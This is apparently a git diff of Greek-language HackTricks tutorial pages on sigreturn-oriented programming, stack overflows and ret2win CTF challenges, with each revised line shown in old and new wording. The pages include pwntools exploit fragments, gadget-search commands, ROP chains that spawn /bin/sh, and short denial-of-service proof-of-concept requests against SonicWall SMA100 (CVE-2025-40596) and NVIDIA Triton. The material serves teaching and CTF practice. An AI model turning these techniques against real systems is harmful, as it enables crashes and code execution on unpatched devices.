Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
Το ενδιαφέρον είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.
> [!CAUTION]
> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
Σημειώστε πώς αυτό θα ήταν μια **μορφή Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
Αν είστε περίεργοι, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -128,14 +129,14 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary.
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
- 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί `exit`. Η επιλεγμένη syscall είναι μια `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
- 64 bits assembly πρόγραμμα, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Εκμετάλλευση
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη στο `/bin/sh`.
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`.
```python
from pwn import *
@ -136,7 +136,7 @@ return 0;
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτηθεί πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει:
```python
from pwn import *
@ -189,7 +189,7 @@ python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/nul
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Και τα δύο εργαλεία κατανοούν **AArch64** κωδικοποιήσεις και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*.
Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις **AArch64** και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*.
> Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον σύνδεσμο περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.
@ -209,7 +209,7 @@ frame.pc = svc_call # will re-enter kernel
## Έλεγχος του πυρήνα, PAC & Shadow-Stacks
Το Linux 5.16 εισήγαγε αυστηρότερο έλεγχο των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει:
Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει:
* `uc_flags` πρέπει να περιέχει `UC_FP_XSTATE` όταν υπάρχει `extra_context`.
* Η δεσμευμένη λέξη στη `struct rt_sigframe` πρέπει να είναι μηδέν.

View File

@ -4,13 +4,13 @@
## Τι είναι το Stack Overflow
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρηθέν.
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
```c
@ -27,7 +27,7 @@ printf("You entered: %s\n", buffer);
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία.
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που τελείωσαν επικαλύπτοντάς το.
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύψουν.
Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
```python
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Εκμετάλλευση Στοίβας Υπερχείλισης
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη.
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου να ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη ορισμένων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
### Ret2win
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
{{#ref}}
ret2win/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... τεχνικές
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο:
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό:
{{#ref}}
../rop-return-oriented-programing/
@ -95,9 +95,9 @@ stack-shellcode/
../common-binary-protections-and-bypasses/
{{#endref}}
### Παράδειγμα Πραγματικού Κόσμου: CVE-2025-40596 (SonicWall SMA100)
### Πραγματικό Παράδειγμα: CVE-2025-40596 (SonicWall SMA100)
Μια καλή επίδειξη του γιατί **`sscanf` δεν θα πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall.
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall.
Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με `/__api__/`:
```c
char version[3];
@ -106,7 +106,7 @@ char endpoint[0x800] = {0};
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. `"v1"`).
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**.
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο byte NUL**.
3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και έχει μήκος **0x800 bytes**, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**.
Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση **πριν από την αυθεντικοποίηση**:
@ -118,7 +118,7 @@ requests.get(url, verify=False)
```
Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά μια **Denial-of-Service** πρωτοβουλία (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό:
* Πάντα να παρέχετε μια **μέγιστη πλάτος πεδίου** (π.χ. `%511s`).
* Πάντα να παρέχετε ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`).
* Προτιμήστε ασφαλέστερες εναλλακτικές όπως `snprintf`/`strncpy_s`.
### Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
@ -135,8 +135,8 @@ alloca(sizeof(struct evbuffer_iovec) * n);
}
```
1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των εσωτερικών τμημάτων buffer** που συνθέτουν το τρέχον σώμα του HTTP request.
2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω `alloca()` **χωρίς κανένα ανώτατο όριο**.
3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα.
2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω του `alloca()` **χωρίς κανένα ανώτατο όριο**.
3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα των 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα.
#### Proof-of-Concept (DoS)
```python

View File

@ -4,11 +4,11 @@
## Basic Information
Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι σαν `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
### C Example
Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε:
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
```c
#include <stdio.h>
#include <string.h>
@ -32,7 +32,7 @@ return 0;
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF).
- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας.
- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στοίβας.
- `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.
- `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
- `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
@ -65,11 +65,11 @@ objdump -d vulnerable | grep win
```
Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της `win` συνάρτησης, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της.
Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται.
Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στη στοίβα με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται.
## Προστασίες
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι η `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
## Άλλα παραδείγματα & Αναφορές
@ -82,17 +82,17 @@ objdump -d vulnerable | grep win
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, χωρίς ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης
- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει τη στοίβα και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
